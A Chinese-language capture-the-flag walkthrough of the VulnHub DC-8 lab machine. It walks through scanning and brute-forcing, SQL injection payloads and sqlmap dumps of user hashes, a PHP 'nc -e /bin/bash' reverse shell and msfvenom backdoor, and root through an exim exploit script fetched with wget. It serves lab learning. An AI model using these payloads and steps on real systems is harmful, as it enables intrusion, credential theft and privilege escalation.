DC-8
环境搭建
靶机下载:https://download.vulnhub.com/dc/DC-8.zip
信息收集
存活主机及其端口探测
nmap -sP 192.168.124.0/24 --存活主机
nmap -A 192.168.124.46 --全扫描
nmap -sS p1-65535 192.168.124.46
发现ssh服务,尝试爆破无果
hydra -L user.txt -P passwd.txt ssh:192.168.124.46
namp --script=ssh-brute 192.168.124.46
目录扫描
挨个访问,发现登录页面,其余没有可用信息。
网站banner信息收集
一个页面存在sql注入,其余信息未发现可利用点。
漏洞利用
手工注入:
-1' union select 1# --判断列数
-1' union select database()# --查询数据库
-1' union select group_concat(table_name) from information_schema.tables where table_schema=database()# --查表
-1 union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users#' --查列名
-1 union select group_concat(name,pass) from users# --查信息
sqlmap
python2 sqlmap.py -u http://192.168.124.46/?nid=1 --dbs --查数据库
python2 sqlmap.py -u http://192.168.124.46/?nid=1 -D d7db --tables
python2 sqlmap.py -u http://192.168.124.46/?nid=1 -D d7db -T users --columns
python2 sqlmap.py -u http://192.168.124.46/?nid=1 -D d7db -T users -C name,pass --dump
查询出两条用户信息,用john爆破hash密码,首先将账号密码进行保存
vim userpass.txt
john userpass.txt
爆出密码。登录成功,继续网站页面信息收集,发现一处可以编辑php代码的地方。
反弹shell
法一:
<?php
system("nc -e /bin/bash 192.168.124.46 7777");
?>
nc监听
法二
MSF
生成后门
msfvenom -p php/meterpreter_reverse_tcp -f raw -o shell.php
将生成的代码粘贴到上面,保存提交
然后需要点击发邮件触发
成功反弹。
提权
反弹交互式shell
python -c 'import pty;pty.spawn("/binbash")'
寻找suid文件,发现一条特殊命令。
find / -perm -u=s -type f 2>/dev/null
百度每一条陌生命令,发现exim是一款在Unix系统上使用的邮件服务,exim4在使用时具有root权限,存在提权漏洞
查看其版本
在漏洞库搜索,发现提权脚本
本地用python搭建一个简易的http服务,
python2 -m SimpleHTTPServer 80
将提权脚本复制http服务根目录
cp /usr/share/exploitdb/exploits/linux/local/46996.sh getshell.sh
打开脚本,查看其利用方法
发现两种利用方法
法一:./getshell.sh -m setuid
法二:./getshell.sh -m netcat
在刚得到的meterpreter下载脚本,赋予其运行权力
wget http://192.168.124.26/getshell.sh
chmod 777 getshell.sh
按照上面的方法进行提权就可以
注意:
1./tmp一般可读可写,其余目录不一定,所以下载脚本时,可以下载到/tmp中,
2.windows换行符(/r/n)与Linux换行符(/n)是不同的,在Windows下每一行结尾是\n\r,而Linux下则是\n
所以在windwos编辑下的脚本不能直接在Linux中运行,如用 vi 来尝试编辑一个采用 MS-DOS 格式的文件,你将会发现每一行的末尾有个 ^M 字符。(^M 就是 )。
解决办法:
1.用vi命令打开文件
2.直接输入
:set ff=unix(需要在linux环境下添加)
方法二:
sed -i ‘s/\r$//’ file.sh
将file.sh中的\r都替换为空白,问题解决
识别dos格式文件或linux文件:
1,cat -A filename 看文件行尾
2,od -t x1 filename 看输出内容是否含有0d 0a字符,如果有是dos文件,如果只有0a则是unix文件
问题:
反弹回来root版本的shell只维持一小段时间,而后又返回到www-data用户。望大佬指点。